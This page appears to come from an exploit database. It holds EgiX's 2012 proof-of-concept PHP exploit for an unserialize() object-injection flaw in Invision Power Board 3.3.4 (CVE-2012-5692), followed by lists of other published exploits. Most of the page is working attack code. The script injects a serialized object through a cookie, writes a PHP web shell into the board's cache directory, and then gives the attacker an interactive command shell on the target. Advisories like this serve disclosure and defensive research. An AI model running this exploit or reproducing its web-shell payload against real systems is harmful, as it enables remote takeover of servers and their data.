Menu

Search for hundreds of thousands of exploits

"Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution"

Author

Exploit author

EgiX

Platform

Exploit platform

php

Release date

Exploit published date

2012-11-01

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php

/*
    ----------------------------------------------------------------
    Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
    ----------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: http://www.invisionpower.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
    
    4015.        static public function get($name)
    4016.        {
    4017.            // Check internal data first
    4018.            if ( isset( self::$_cookiesSet[ $name ] ) )
    4019.            {
    4020.                return self::$_cookiesSet[ $name ];
    4021.            }
    4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
    4023.            {
    4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
    4025.    
    4026.                if ( substr( $_value, 0, 2 ) == 'a:' )
    4027.                {
    4028.                    return unserialize( stripslashes( urldecode( $_value ) ) );
    4029.                }
    
    The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
    sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts
    with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a
    serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code
    via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug
    info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this
    reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

    [-] Disclosure timeline:
    
    [21/10/2012] - Vulnerability discovered
    [23/10/2012] - Vendor notified
    [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
    [25/10/2012] - CVE number requested
    [29/10/2012] - Assigned CVE-2012-5692
    [31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------------+";
print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /ipb/\n";
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet  = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
    
$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ?  $m[1] : '';

class db_driver_mysql
{
    public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}

$payload = urlencode(serialize(array(new db_driver_mysql)));
$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';

$packet  = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet  = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)
{
    print "\nipb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-10-07 "vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution" webapps php EgiX
2013-11-08 "Vanilla Forums 2.0 < 2.0.18.5 - 'class.utilitycontroller.php' PHP Object Injection" webapps php EgiX
2013-08-02 "vTiger CRM 5.4.0 SOAP - Multiple Vulnerabilities" webapps php EgiX
2013-04-26 "Joomla! 3.0.3 - 'remember.php' PHP Object Injection" webapps php EgiX
2013-02-27 "Joomla! 3.0.2 - 'highlight.php' PHP Object Injection" webapps php EgiX
2013-02-07 "CubeCart 5.2.0 - 'cubecart.class.php' PHP Object Injection" webapps php EgiX
2013-01-28 "DataLife Engine 9.7 - 'preview.php' PHP Code Injection" webapps php EgiX
2012-11-01 "Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-07-04 "Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-06-23 "SugarCRM CE 6.3.1 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-05-02 "OpenConf 4.11 - '/author/edit.php' Blind SQL Injection" webapps php EgiX
2012-04-23 "WebCalendar 1.2.4 - Remote Code Execution" webapps php EgiX
2012-03-23 "PHPFox 3.0.1 - 'ajax.php' Remote Command Execution" webapps php EgiX
2012-01-27 "vBSEO 3.6.0 - 'proc_deutf()' Remote PHP Code Injection (Metasploit)" webapps php EgiX
2012-01-23 "WordPress Plugin Kish Guest Posting 1.0 - Arbitrary File Upload" webapps php EgiX
2012-01-19 "appRain CMF 0.1.5 - 'Uploadify.php' Unrestricted Arbitrary File Upload" webapps php EgiX
2011-12-22 "Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection" webapps php EgiX
2011-12-07 "Traq 2.3 - Authentication Bypass / Remote Code Execution" webapps php EgiX
2011-11-30 "WikkaWiki 1.3.2 - Multiple Vulnerabilities" webapps php EgiX
2011-11-23 "PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (1)" webapps php EgiX
2011-11-19 "Support Incident Tracker 3.65 - 'translate.php' Remote Code Execution" webapps php EgiX
2011-11-16 "FreeWebShop 2.2.9 R2 - 'ajax_save_name.php' Remote Code Execution" webapps php EgiX
2011-11-13 "WordPress Plugin Zingiri 2.2.3 - 'ajax_save_name.php' Remote Code Execution" webapps php EgiX
2011-11-05 "ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-05 "PHPMyFAQ 2.7.0 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-05 "aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-04 "Ajax File and Image Manager 1.0 Final - Remote Code Execution" webapps php EgiX
2011-10-27 "eFront 3.6.10 (build 11944) - Multiple Vulnerabilities" webapps php EgiX
2011-10-23 "phpLDAPadmin 1.2.1.1 - Remote PHP Code Injection (1)" webapps php EgiX
2011-10-18 "Dolphin 7.0.7 - 'member_menu_queries.php' Remote PHP Code Injection" webapps php EgiX
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.